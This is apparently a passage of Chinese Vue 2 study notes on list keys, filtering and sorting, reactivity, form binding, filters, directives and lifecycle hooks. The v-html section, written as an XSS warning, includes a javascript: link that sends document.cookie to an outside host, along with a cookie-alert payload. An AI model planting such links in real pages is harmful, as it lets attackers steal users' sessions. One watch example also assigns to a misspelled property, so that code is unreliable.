      1. 若虚拟DOM中的内容没变,直接使用之前的真实DOM(DOM复用)
      2. 若虚拟DOM中的内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
    2. 旧虚拟DOM中未找到与新虚拟DOM相同的 key:

      ​ 创建新的真实DOM,随后渲染到页面

  3. 用 index 作为 key 可能会引发的问题:

    1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:

      会产生没有必要的真实DOM更新 ==> 界面效果没有问题,但效率低

    2. 如果结构中还包含输入类的DOM(input):

      会产生错误DOM更新 ==> 界面有问题

  4. 开发中如何选择 key?:

    1. 最好使用每条数据的唯一标识作为 key ,比如id、手机号、身份证号、学号等唯一值
    2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
html
<body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <!-- v-for 遍历数组 (常用)-->
      <h2>人员列表(遍历数组)</h2>
      <button @click.once="add">添加一个老刘</button>
      <ul>
        <!-- <li v-for="(p,index) of persons" :key="index"> 点击添加老刘页面会发生错乱-->
        <li v-for="(p,index) of persons" :key="p.id">
          <!--点击添加老刘页面不会发生错乱-->
          {{p.name}}-{{p.age}}
          <input type="text" /> <!--存在输入类DOM-->
        </li>
      </ul>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          persons: [
            { id: "001", name: "张三", age: "18" },
            { id: "002", name: "李四", age: "19" },
            { id: "003", name: "王二狗", age: "20" },
          ],
        };
      },
      methods: {
        add() {
          this.persons.unshift({ id: "004", name: "老刘", age: "38" });
        },
      },
    });

遍历添加列表时将 index(下标) 作为 key 对存在输入框的列表的数据进行逆序操作,会发生错乱

image-20240308161759299

遍历添加列表时将 id(唯一标识) 作为 key 对存在输入框的列表的数据进行逆序操作,不会发生错乱

image-20240308162328772

tips:

如果在v-for遍历列表时不写 key Vue会把遍历时的索引作为 key

在开发时 key 最好使用唯一标识

1.13.3 列表过滤

方法1:使用 watch 进行监视,当搜索关键字发生改变时,过滤原有的数据,产生一个新的数据,将新的数据渲染到页面上。

html
<div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入检索关键字" v-model="keyWord"/>
      <ul>
        <li v-for="(item,index) of filPersons" :key="item.id">
          {{item.name}}-{{item.age}}--{{item.sex}}
        </li>
      </ul>
    </div>
  </body>
  <script>
    // 1.用watch实现
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          keyWord: "",// 记录搜索输入的关键字
          persons: [
            { id: "001", name: "马冬梅", age: "20", sex: "女" },
            { id: "002", name: "周冬雨", age: "22", sex: "女" },
            { id: "003", name: "周杰伦", age: "25", sex: "男" },
            { id: "004", name: "温兆伦", age: "19", sex: "男" },
          ],
          filPersons: [], // 存储过滤后的数据
        };
      },
      watch: {
        keyWord: {
          immediate: true, // 初始化时先进行一次空内容过滤,获取到全部数据
          // includes("") 返回 true false
          handler(newValue) {
            this.fillPersons = this.persons.filter((p) => {
              // filter过滤器 p为遍历的对象 filter返回过滤后的数组
              return p.name.includes(newValue); // 返回符合条件的新数组
            });
          },
        },
      },
    });

方法2:使用 coputed 计算过滤后的属性,再渲染到页面

html
<div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入检索关键字" v-model="keyWord" />
      <ul>
        <li v-for="(item,index) of filPersons" :key="item.id">
          {{item.name}}-{{item.age}}--{{item.sex}}
        </li>
      </ul>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          keyWord: "",// 记录搜索输入的关键字
          persons: [
            { id: "001", name: "马冬梅", age: "20", sex: "女" },
            { id: "002", name: "周冬雨", age: "22", sex: "女" },
            { id: "003", name: "周杰伦", age: "25", sex: "男" },
            { id: "004", name: "温兆伦", age: "19", sex: "男" },
          ],
        };
      },
      computed: {
        filPersons() {
          // 将过滤后的数据存储到filPersons中再到页面进行渲染
          return this.persons.filter((p) => {
            // 当参与计算的属性发生改变时会重新执行getter方法
            return p.name.includes(this.keyWord); // filter 返回符合条件的新数组
          });
        },
      },
    });

方法3:直接在 v-for 后面使用 v-show/v-if 进行过滤

html
<div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入检索关键字" v-model="keyWord" />
      <ul>
        <!-- 3.直接在v-for循环中使用v-show过滤 -->
        <li
          v-for="(item,index) of persons"
          v-show="item.name.includes(keyWord)"
          :key="item.id"  
        >
          {{item.name}}-{{item.age}}--{{item.sex}}
        </li>
      </ul>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          keyWord: "",// 记录搜索输入的关键字
          persons: [
            { id: "001", name: "马冬梅", age: "20", sex: "女" },
            { id: "002", name: "周冬雨", age: "22", sex: "女" },
            { id: "003", name: "周杰伦", age: "25", sex: "男" },
            { id: "004", name: "温兆伦", age: "19", sex: "男" },
          ],
        };
      },
    });
1.13.4 列表排序

使用计算属性,对过滤后的数组进行对应的排序

html
    <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入检索关键字" v-model="keyWord" />
      <button @click="sortType=2">年龄升序排列</button> 
      <button @click="sortType=1">年龄降序排列</button>
      <button @click="sortType=0">原顺序</button>
      <!-- 点击按钮时,修改sortType属性的值 -->
      <ul>
        <!-- 遍历计算属性创建列表 -->
        <li v-for="(item,index) of filPersons" :key="item.id">
          {{item.name}}-{{item.age}}--{{item.sex}}
        </li>
      </ul>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          keyWord: "", // 记录搜索输入的关键字
          sortType: 0, // 0 原顺序 1 降序 2 升序
          persons: [
            { id: "001", name: "马冬梅", age: "20", sex: "女" },
            { id: "002", name: "周冬雨", age: "32", sex: "女" },
            { id: "003", name: "周杰伦", age: "25", sex: "男" },
            { id: "004", name: "温兆伦", age: "19", sex: "男" },
          ],
        };
      },
      // 计算属性
      computed: {
        filPersons() { // 依赖计算的任何一个属性发生变化都会重新执行
          // 将过滤后的数据存储到filPersons中再到页面进行渲染
          const arr = this.persons.filter((p) => {// arr 保存过滤后的数据
            // 当参与计算的属性发生改变时会重新执行getter方法
            return p.name.includes(this.keyWord); // filter 返回符合条件的新数组
          });
          // 判断一下是否需要排序
          if (this.sortType) {
            arr.sort((a, b) => { // 按照年龄进行排序
              return this.sortType == 1 ? b.age - a.age : a.age - b.age;
            });
          }
          /* sort() 方法默认升序排列 可以传入一个比较函数作为参数,
          比较函数接收两个参数a,b。返回a-b为升序 返回b-a为降序 */
          return arr; // 返回结果作为 filPersons的值
        },
      },
    });

tips:

sort() 方法默认升序排列 可以传入一个比较函数作为参数,比较函数接收两个参数a,b。返回a-b为升序 返回b-a为降序

js
arr.sort((a, b) => {
	return a - b; //升序
 return b - a; //降序
});
1.13.5 列表更新时的一个问题
html
<body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>人员列表</h2>
      <button @click="updateMei">更新马冬梅信息</button>
      <ul>
        <!-- 遍历计算属性创建列表 -->
        <li v-for="(item,index) of persons" :key="item.id">
          {{item.name}}-{{item.age}}--{{item.sex}}
        </li>
      </ul>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          persons: [
            { id: "001", name: "马冬梅", age: "20", sex: "女" },
            { id: "002", name: "周冬雨", age: "32", sex: "女" },
            { id: "003", name: "周杰伦", age: "25", sex: "男" },
            { id: "004", name: "温兆伦", age: "19", sex: "男" },
          ],
        };
      },
      methods: {
        updateMei() {
          // this.persons[0].name = "马老师"; //奏效
          // this.persons[0].age = 50; //奏效
          // this.persons[0].sex = "男"; //奏效
          // this.persons[0] = { id: "001", name: "马老师", age: "50", sex: "男" }; //不奏效
          /* 原因:
          Vue未给数组中的每个元素添加getter和setter方法即persons[0]无getter和setter方法,
          当修改persons[0]时,Vue无法检测到因此也就无法更新页面 */
          /* 解决方法:
          1.调用数组的 push pop shift unshift splice sort reverse方法
          vm.student.hobbys.push ≠ Array.prototype.push
          Vue对push等方法进行了包裹,增加了触发视图更新的功能
          2.使用Vue.set方法进行修改指定索引的元素 Vue.set(vm.student.hobbys,1,"打台球") 
          */
          this.persons.splice(0,1,{ id: "001", name: "马老师", age: "50", sex: "男" })
        },
      },
    });

在更新data中某一个数组中的对象时,逐个更新数组元素对象的属性,Vue可以检测到数据的变化并更新页面内容。但直接将数组元素重新进行赋值时,Vue无法检测到数据的更新。

原因:Vue并未给数组中元素添加 getter 和 setter 方法,因此直接通过 arr[]= 的方式修改数组中的数据是不会影响到 data中的数据的 因此页面不会更新。Vue为每个对象中的属性都添加了 getter 和 setter方法。

1.13.6 Vue数据监测总结
  1. Vue会监视 data 中的所有层次的数据

  2. 如何监测对象中的数据?

    通过 setter 实现监视,且要在new Vue时就要传入要监视的数据。

    1. 对象中后追加的属性,Vue默认不做响应式处理(数据改变重新解析模板)

    2. 如需给后续添加的属性做响应式,请使用如下 API:

      Vue.set(target, propertyName/index, value) 或

      vm.$set(target, propertyName/index, value)

  3. 如何监测数组中的数据?

    通过包裹数组更新元素的方法实现,本质就是做了两件事:

    1. 调用原生对应的方法对数组进行更新
    2. 重新解析模板,进而更新页面
  4. 在Vue修改数组中的某个元素一定要用如下方法:

    1. 使用这些 API:push()、pop()、unshift()、shift()、splice()、sort()、reverse()
    2. Vue.set() 或 vm.$set()

特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象添加属性!!!

html
<div id="root">
      <h1>学生信息</h1>

      <button @click="age++">年龄+1</button>
      <button @click="addSex">添加性别属性,默认值为:男</button>
      <button @click="student.sex='女'">修改性别</button>
      <button @click="addFriend">在列表首位添加一个朋友</button>
      <button @click="updataFirstFriendName">
        修改第一个朋友的名字为:张三
      </button>
      <button @click="addHobby">添加一个爱好</button>
      <button @click="changeHobby">修改第一个爱好为:开车</button>
      <button @click="removeSmoke">过滤掉爱好中的抽烟</button>

      <h3>姓名:{{student.name}}</h3>
      <h3>年龄:{{student.age}}</h3>
      <h3 v-show="student.sex">性别:{{student.sex}}</h3>
      <h3>爱好:</h3>
      <ul>
        <li v-for="(h,index) of student.hobby" :key="index">{{h}}</li>
      </ul>
      <h3>朋友:</h3>
      <ul>
        <li v-for="(f,index) of student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          student: {
            name: "tom",
            age: "18",
            hobby: ["抽烟", "喝酒", "烫头"],
            friends: [
              { name: "jerry", age: 20 },
              { name: "tony", age: 36 },
            ],
          },
        };
      },
      methods: {
        addSex() {
          // 动态添加属性,并实现被监测
          // Vue.set(vm.student, "sex", "男");
          vm.$set(this.student, "sex", "男"); // this === vm
        },
        addFriend() {
          // 数组中的每个元素没有getter和setter方法,因此无法被监测到
          // 对数组进行操作时需要使用数组方法,才能被检测到进行页面个性,
          // 且数组内部的对象属性也能被监测到
          this.student.friends.unshift({ name: "xx", age: 20 });
        },
        updataFirstFriendName() {
          // 对数组元素内部的对象可以直接进行修改,对象中的每个属性都有getter和setter方法
          this.student.friends[0].name = "张三";
        },
        addHobby() {
          this.student.hobby.push("学习");
        },
        changeHobby() {
          this.student.hobby.splice(0, 1, "开车");
          // Vue.set(this.student.hobby, 0, "开车");
          // this.$set(this.student.hobby, 0, "开车");
        },
        removeSmoke() {
          // 由Vue所管理的函数最好写为普通函数,不是Vue管理的函数最好写为箭头函数
          this.student.hobby = this.student.hobby.filter((h) => { 
            // filter返回过滤后的数组,不改变原数组
            return h !== "抽烟"; // rertuen后跟过滤条件
          });
        },
      },
    });

tips

数据劫持:将原本data中的数据变为 vm._data 内数据

1.14 收集表单数据

若:<input type="text"/> ,则 v-model 收集的是 value 值,用户输入的就是 value 值

若:<input type="radio">,则 v-model 收集的是 value 值,且要给标签配置 value 值

若:<input tyep="checkbox"/>

  1. 没有配置 input 的 value属性,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
  2. 配置 input 的 value 属性:
    1. v-model的初始值是非数组,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
    2. v-model的初始值是数组,那么收集的就是 value 组成的数组

备注:v-model的三个修饰符:

​ v-model.lazy:失焦时再收集数据

​ v-model.number:输入字符串转为有效的数字

​ v-model.trim:去除收集的数据两端的空格

html
<div id="root">
      <form @submit.prevent="demo">  <!-- 为提交事件绑定方法 -->
        <!-- v-model.trim:去除收集的数据两端的空格 -->
        <label>账号:<input type="text" v-model.trim="userInfo.account"/></label><br /><br />
        <label>密码:<input type="password" v-model="userInfo.password "/></label><br /><br />
        <!-- v-model修饰符 v-model.number:收集的数据转化为number类型 
          type="number":限制输入的内容为数字-->
        <label>年龄:<input type="number" v-model.number="userInfo.age "/></label><br /><br />
        性别:
        <!-- 注意:radio,checkbox和select 使用v-model需要指定value值 -->
        <!-- name属性用于分组  -->
        <input type="radio" name="sex" value="male" v-model="userInfo.sex"/>男
        <input type="radio" name="sex" value="female" v-model="userInfo.sex"/>女<br /><br />
        爱好:
        <!-- 注意:checkbox使用v-model收集的数据要使用一个数组进行存放数据 -->
        <input type="checkbox" v-model="userInfo.hobby" value="chouyan"/>抽烟
        <input type="checkbox" v-model="userInfo.hobby" value="hejiu"/>喝酒
        <input type="checkbox" v-model="userInfo.hobby" value="tangtou"/>烫头 <br><br>
        所属校区:
        <select v-model="userInfo.city">
          <option value="">请选择校区:</option>
          <option value="beijing">北京</option>
          <option value="shanghai">上海</option>
          <option value="shenzhen">深圳</option>
          <option value="wuhan">武汉</option>
        </select><br><br>
        其它信息:  
        <!-- v-model.lazy:失焦时收再集数据,如果不使用lazy修饰符,会实时收集数据 -->
        <textarea rows="5" cols="30" v-model.lazy="userInfo.other"></textarea><br><br>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#">《用户协议》</a><br><br>
        <!-- 阻止触发提交的默认行为 -->
        <!-- <button @click.prevent>提交</button> -->
        <button>提交</button>
      </form>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          userInfo:{
            account:"",
            password:"",
            age:"",
            sex:"female", // 设置默认值
            hobby:["chouyan"],// 数组形式获取到选择的value值
            city:"beijing",
            other:"",
            agree:false,  // 字符串/boolean类型获取checked的值
          }
        };
      },
      methods: {
        demo(){
          // console.log(this.$data); // vm._data === vm.$data
          // console.log(JSON.stringify(this._data)); 
          console.log(JSON.stringify(this.userInfo)); // 输出为JSON格式的字符串
        } 
      },
    })

注意:

​ radio,checkbox 和 select 使用v-model 需要指定 value 值

​ checkbox使用v-model收集的数据要使用一个数组进行存放数据

​ raiod 使用时要为每个单选钮添加 name 属性区分不同组的单选钮

1.15 过滤器

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)(也可以使用计算属性和methods实现)

语法:

  1. 注册过滤器:Vue.filter(name, callback) (全局过滤器)或 new Vue{filters : {}}(局部过滤器)
  2. 使用过滤器:0v-bind : 属性名 = “xxx | 过滤器名”,将要过滤的数据作为参数传递给过滤器函数 返回值为过滤后的数据

备注:

  1. 使用过滤器也可以接收额外参数,多个过滤器也可以串联(追加调用)
  2. 并没有改变原本的数据,是产生新的对应的数据
  3. 过滤器的功能使用计算属性和定义方法都可以实现

注意:

  1. 局部过滤器只能在当前组件中使用,全局过滤器可以在任何组件中使用
  2. 过滤器函数会自动将要过滤的属性作为第一个参数传递,在传递多个参数时也不需要写第一个参数
html
    <div id="root">
      <h2>显示格式化后的时间</h2>
      <!-- 1. 计算属性实现 -->
      <h3>现在是{{fmtTime}}</h3>
      <!-- 2. methods实现 -->
      <h3>现在是{{getFmtTime()}}</h3>
      <!-- 插值语法可以使用vm上的所有属性和方法 -->
      <!-- 3. 过滤器实现 -->
      <h3>现在是{{time | timeFormater}}</h3>
      <!-- {{过滤数据 | 过滤器名 }} 将要过滤的数据作为参数传递给过滤器函数 返回值为过滤后的数据 -->
      <!-- 过滤器传参,无需传递要过滤的属性它会默认作为第一个参数进行传递 -->
      <h3>现在是{{time | timeFormater("YYYY_MM_DD")}}</h3>
      <!-- 为过滤器传入参数 -->
      <!-- 使用两个过滤器获取年份 -->
      <h3>现在是{{time | timeFormater("YYYY_MM_DD") | mySlice}}年</h3>

      <!-- 在单向数据绑定时使用过滤器-->
      <h3 :x="msg | mySlice">桑硅谷</h3>
    </div>

  </body>
  <script>
    // 全局过滤器,可以在任意组件中使用
    Vue.filter("mySlice", function (val) {
      return val.slice(0, 4);
    });

    const vm = new Vue({
      el: "#root",
      data() {
        return {
          time: Date.now(), // 生成一个时间戳
          msg: "你好呀hhh",
        };
      },
      // 1.使用给计算属性 + day.js第三方库格式化时间
      computed: {
        fmtTime() {
          return new dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
        },
      },
      // 2. methods 实现
      methods: {
        getFmtTime() {
          return new dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
        },
      },
      // 3. 过滤器实现
      // 局部过滤器
      filters: {
        timeFormater(val, str = "YYYY-MM-DD HH:mm:ss") {
          // 为 str 设置默认参数
          // 过滤器的第一个参数永远为 | 前的要过滤的数据
          // console.log(val) === this.time
          return new dayjs(val).format(str);
        },
        mySlice(val) {
          // 定义一个只截取字符串前四位的过滤器
          return val.slice(0, 4);
        }, 
      },
    });

1.16 内置指令

已经学过的指令:

  • v-bind:单向数据绑定解析表达式,可简写为 :xxx
  • v-model:双向数据绑定
  • v-for:遍历数组/对象/字符串
  • v-on:绑定事件监听,可简写为 @
  • v-if:条件渲染(动态控制节点是否存在)
  • v-else:条件渲染(动态控制节点是否存在)
  • v-show:条件渲染(动态控制节点是否展示)
1.16.1 v-text 指令
  1. 作用:向其所在的节点中渲染文本内容
  2. 与插值语法的区别:v-text = ”xxx“ xxx会替换掉节点中的内容,而不会
  3. 不支持解析标签
html
<div id="root">
      <div>你好,{{name}}</div>
      <div v-text="name">你好</div>
      <!-- v-text="xx" 会将标签的内容替换为xx -->
      <!-- 不支持解析标签 -->
      <div v-text="str"></div> <!-- <h3>你好呀!</h3> -->>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          name: "张老三",
          str:"<h3>你好呀!</h3>"
        };
      },
    });
1.16.2 v-html 指令
  1. 作用向指定节点中渲染包含 **html 结构 **的内容
  2. 与插值语法的区别:
    1. v-html 会替换掉节点中所有内容,则不会
    2. v-html 可以识别 html 结构
  3. 严重注意:
    1. 网站上动态渲染任意的 HTML 是非常危险的,容易导致 XSS 攻击
    2. 一定要在可信的内容上使用 v-html ,永远不要在用户提交的内容上使用 v-html!
html
<div id="root">
      <div id="root">
        <div>你好,{{name}}</div>
        <!-- v-text 不能解析标签 -->
        <div v-text="str"></div>
        <!-- v-html 可以解析标签 -->
        <div v-html="str"></div>
        <!-- 存在安全性问题 -->
        <div v-html="getCookie"></div>
        <div v-html="str1"></div>
      </div>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          name: "张老三",
          str: "<h3>你好呀!</h3>",
          // 获取到当前页面的全部cookie并以查询字符串的形式传递给指定的网站,盗用用户的信息
          str1: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我这有好看的快来</a>',
          getCookie:
            "<a href=javascript:alert(document.cookie)>点我获取当前页面的cookie</a>",
        }; // 在a标签中写js代码,会直接执行,所以存在安全性问题
      },
    });
1.16.3 v-cloak 指令
  1. 本质就是一个特殊的属性,Vue实例创建完毕并接管容器后,会删除 v-cloak 属性
  2. 使用 css 配合v-cloak 可以解决网速慢时页面展现出 的问题

注意:v-cloak 指令没有值

html
<style>
      /* 属性选择器 */
      [v-cloak]{
        display: none;
        /* 当标签拥有 v-clock指令时,隐藏标签 */
      }
    </style>
    <!-- 引入Vue.js -->
    <!-- <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.7.5/vue.min.js"></script> -->
    <!-- 先引入vue.js时若网络较慢,会出现js阻塞,等vue.js加载完毕后再渲染页面 -->
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2 v-cloak>{{name}}</h2>
      <!-- v-cloak指令会为标签添加一个v-cloak指令,Vue.js加载完毕后会移除v-cloak指令 -->
      <!-- 当先加载DOM后引入Vue.js时,且Vue.js加载缓慢,可以使用v-cloak指令配合CSS实现先隐藏标签,等加载完毕后再显示 -->
    </div>
  </body>
  <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.7.5/vue.min.js"></script>
  <!-- 先加载DOM再引入 vue.js 会出现模板无法正常加载,出现错误显示 -->
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          name: "张三",
        };
      },
    });
  </script>
1.16.4 v-once 指令
  1. v-once 所在节点在初次动态渲染后,就视为静态内容了
  2. 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能和显示最初的值

注意:v-once 指令没有值

html
<div id="root">
      <h2 v-once>初始化的n值是{{n}}</h2>
      <!-- v-once:所在的节点在初次渲染后,就视为静态内容了,之后不会随着data中数据的变化再重新渲染了 -->
      <h2>当前的n值是{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      data() {
        return {
          n: 1,
        };
      },
    });
  </script>
1.16.5 v-pre 指令
  1. 跳过其所在节点的编译过程
  2. 可以利用它跳过:没有使用指令语法,没有使用插值语法的节点,加快编译速度
  3. 适用于没有使用指令和插值语法的节点

注意:v-pre 指令没有值

html
<div id="root">
      <h2 v-pre>Vue其实很简单</h2>
      <h2 v-pre>当前的n的值为:{{n}}</h2> <!-- 当前的n的值为:{{n}} -->
      <!-- v-pre:跳过其所在节点的编译过程,将没有使用指令和插值语法的节点跳过,加快编译 -->
      <h2>当前的n的值为:{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
  </body>
  <script>
    new Vue({
      el: "#root",
      data() {
        return {
          n: 1,
        };
      },
    });
  </script>

1.17 自定义指令

一、定义语法:

  1. 局部指令:

    js
    new Vue({
    	directives:{
    		指令名:配置对象[{
    			bind(element,binding){},
    			inserted(element,binding){},
    			updata(element,binding){}
    		}]
    	}
    })
    
    new Vue({
        directives:{
            指令名 回调函数[(element,binding){}]
        }
    })

局部指令只能在当前Vue实例中使用,不能在其它Vue实例对象中使用

  1. 全局指令:

    Vue.directive(指令名,配置对象)
    
    Vue.directive(指令名,回调函数)

全局指令可以在任意Vue实例中使用

二、配置对象中常用的3个回调:

  1. bind:指令与元素成功绑定时调用(此时元素尚未添加到页面中)
  2. inserted:指令所在元素被插入页面时调用
  3. update:指令所在模板结构被重新解析时调用

三、备注:

  1. 指令定义时不加 v-,但使用时要加 v-
  2. 指令名如果是多个单词,要使用 word1-word2 命名方式,且在定义指令时指令名使用字符串写法

自定义指令实例:

  • 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
  • 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
  1. 局部自定义指令

    html
    <!-- 准备好一个容器(模板) -->
        <div id="root">
          <h2>{{name}}</h2>
          <h2>当前的n值是:<span v-text="n"></span></h2>
          <h2>放大十倍后的n值是:<span v-big="n"></span></h2>
          <!-- <h2>放大十倍后的n值是:<span v-big-number="n"></span></h2> -->
          <!-- 当指令名较长时,中间使用"-"连接 -->
          <button @click="n++">点我n++</button>
          <hr />
          默认获取焦点的input元素是:<input type="text" v-fbind:value="n" />
        </div>
    
        <div id="root2">
          默认获取焦点的input元素是:<input type="text" v-fbind:value="n" />
        </div>
      </body>
      <script>
        const vm = new Vue({
          el: "#root",
          data: {
            // data中的数据发生改变会引起模板的重新解析
            name: "张三",
            n: 1,
          },
          directives: {
            // 自定义指令名不需要加v-前缀 函数接收两个参数
            // 1.局部自定义指令 简化写法
            big(element, binding) {
              /*big函数何时会被调用?
              ①.指令与元素成功绑定时(此时元素还未添加到页面中) 
              ②.指令所在的模板被重新解析时 */
              console.log(element, binding);
              // element:绑定v-big指令元素的真实DOM  binging:绑定对象 binding.value:绑定的值
              console.log("big", this); // this指向window
              // 修改绑定的数值
              element.innerText = binding.value * 10;
            },
            // 如果对象的key中出现"-"必须将键名写为字符串格式
            /* "big-number"(element,binding){
              element.innerText = binding.value * 10;
            } */
    
            // 2.局部自定义指令 完整写法
            // 某些对DOM的操作如focus(),需要在元素被插入到页面后才能执行,使用简化写法无法实现
            fbind: {
              // bind() 指令与元素绑定成功但还未添加到页面中时调用
              bind(element, binding) {
                console.log("bind", this); // 注意:this指向window
                // 指令与元素绑定成功时为元素设置属性
                element.setAttribute(binding.arg, binding.value);
              },
              // inserted() 指令所在元素被插入页面时被调用
              inserted(element, binding) {
                // 当元素被插入到页面后获取元素焦点
                element.focus();
              },
              // update() 指令所在的模板被重新解析时调用
              update(element, binding) {
                element.setAttribute(binding.arg, binding.value);
              },
            },
          },
        });
    
        // 在vm实例对象中创建的自定义指令为局部指令,只能在当前实例对象中使用不能再另一个实例对象中使用
        new Vue({
          el: "#root2",
          data: {
            n: 1,
          },
        });
      </script>
  2. 全局自定义指令

    html
    <div id="root">
          <h2>{{name}}</h2>
          <h2>当前的n值是:<span v-text="n"></span></h2>
          <h2>放大十倍后的n值是:<span v-big="n"></span></h2>
          <button @click="n++">点我n++</button>
          <hr />
          默认获取焦点的input元素是:<input type="text" v-fbind:value="n" />
        </div>
    
        <div id="root2">
          默认获取焦点的input元素是:<input type="text" v-fbind:value="n" />
        </div>
    
      </body>
      <script>
        // 全局自定义指定  在任意一个Vue实例中都能使用
        // 1.完整写法
        Vue.directive("fbind", {
          bind(element, binding) {
            element.setAttribute(binding.arg, binding.value);
          },
          inserted(element, binding) {
            element.focus();
          },
          update(element, binding) {
            element.setAttribute(binding.arg, binding.value);
          },
        });
        // 2.简化写法
        Vue.directive('big', function (element, binding) {
          element.innerText = binding.value * 10;
        });
    
        const vm = new Vue({
          el: "#root",
          data: {
            // data数据发生改变会引起模板的重新解析
            name: "张三",
            n: 1,
          },
          // 局部自定义指令
          directives: {
          },
        });
    
        new Vue({  // 在每个vue实例中都可以全局自定义指令
          el: "#root2",
          data: {
            n: 1,
          },
        });
      </script>

1.18 生命周期

1.18.1 引出生命周期

生命周期:

  1. 又名:生命周期回调函数,生命周期函数,生命周期钩子
  2. 是什么:Vue 在关键的时刻帮我们调用的一些特殊名称的函数
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  4. 生命周期函数中的 this 指向是 vm 或 组件实例对象
1.18.2 分析生命周期

生命周期图

常用的生命周期钩子:

  1. beforecreate:安装全局事件总线
  2. mounted:发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等[初始化操作]
  3. beforeDestroy:清除定时器、解绑自定义事件、取消订阅事件等[收尾工作]

关于销毁Vue实例(vm.$destroy())

  1. 销毁后借助Vue开发者工具看不到任何信息
  2. 销毁后组件的自定义事件会失效,但原生DOM事件依然有效
  3. 一般不在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
html
<body>
    <!-- 准备好一个容器 -->
    <!-- 包括 #root所在的节点和内部的全部内容都作为模板  包含<div id='root'></div>-->
    <div id="root" :x="n">
      <h2>当前的n值是:{{n}}</h2>
      <h2 v-text="n"></h2>
      <button @click="add">点我n +1</button>
      <button @click="bye">点我销毁 vm</button>
    </div>
  </body>
  <script>
    const vm = new Vue({
      el: "#root",
      // 要解析的模板,可以也写在<div id:"root"></div>中
      /* template: `
      <div>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="add">点我n+1</button>
      </div>  
      `, */
      /* 使用template语法解析模板不会将包括#root节点内的全部内容进行替换 
      不包含<div id='root'></div> */
      data() {
        return {
          n: 1,
        };
      },
      methods: {
        add() {
          console.log("add");
          this.n++;
        },
        bye() {
          console.log("bye");
          this.$destroy(); // 销毁 vm
        },
      },
      watch: {
        n(val) { // 监视属性n
          console.log("n变了");
        },
      },
      // 1.挂载流程
      // 此时无法通过 vm 访问data中的数据和methods中的方法
      beforeCreate() {
        console.log("beforeCreate");
        // console.log(this);
        // debugger; // 调试断点,让代码运行到此处并停止
      },

      // 此时可以通过vm访问到data中的数据,methods中配置的方法
      created() {
        console.log("created");
        // console.log(this);
        // debugger;
      },

      // 此时页面呈现的是未经Vue编译的DOM结构,创建了虚拟DOM还未插入真实DOM,
      // 所有对DOM的操作 最终 都不生效
      beforeMount() {
        console.log("beforeMount");
        // console.log(this);
        // document.querySelector("h2").innerHTML="hello"; 最终不生效
        // debugger;
      },

      // 此时页面呈现的是经过Vue编译的DOM结构,创建了真实DOM,所有对DOM的操作最终生效
      mounted() {
        console.log("mounted");
        // console.log(this);
        // document.querySelector("h2").innerHTML="hello"; // 最终会生效
        // debugger;
      },

      // 2.调用了数据更新的方法 执行更新流程
      // 此时数据是新的但页面是旧的,在beforeUpdata钩子中数据和页面还尚未同步
      beforeUpdate() {
        console.log("beforeUpdate");
        // console.log(this.n);
        // debugger;
      },
      // 此时数据是新的页面也是新的
      updated() {
        console.log("updated");
        // console.log(this.n);
        // debugger;
      },

      // 3.调用了$destroy 执行销毁流程
      // 此时vm中的data,methods,指令都还可用,但对数据的修改不会再触发页面的更新了
      beforeDestroy() {
        console.log("beforeDestroy");
        this.add(); // 方法可用
        console.log(this.n); // data中的数据还会进行更新但页面不会进行更新了
        debugger;
      },
      destroyed() {
        console.log("destroyed");
        debugger;
      },
    });

    // vm.$mount("#root") 设置el的另一种方法
  </script>

二、Vue组件化编程

2.1 模块与组件、模块化与组件化

2.1.1. 模块
  1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
  2. 为什么: js 文件很多很复杂
  3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率
2.1.2. 组件
  1. 用来实现局部(特定)功能效果的代码集合(html/css/js/image…..)
  2. 为什么: 一个界面的功能很复杂
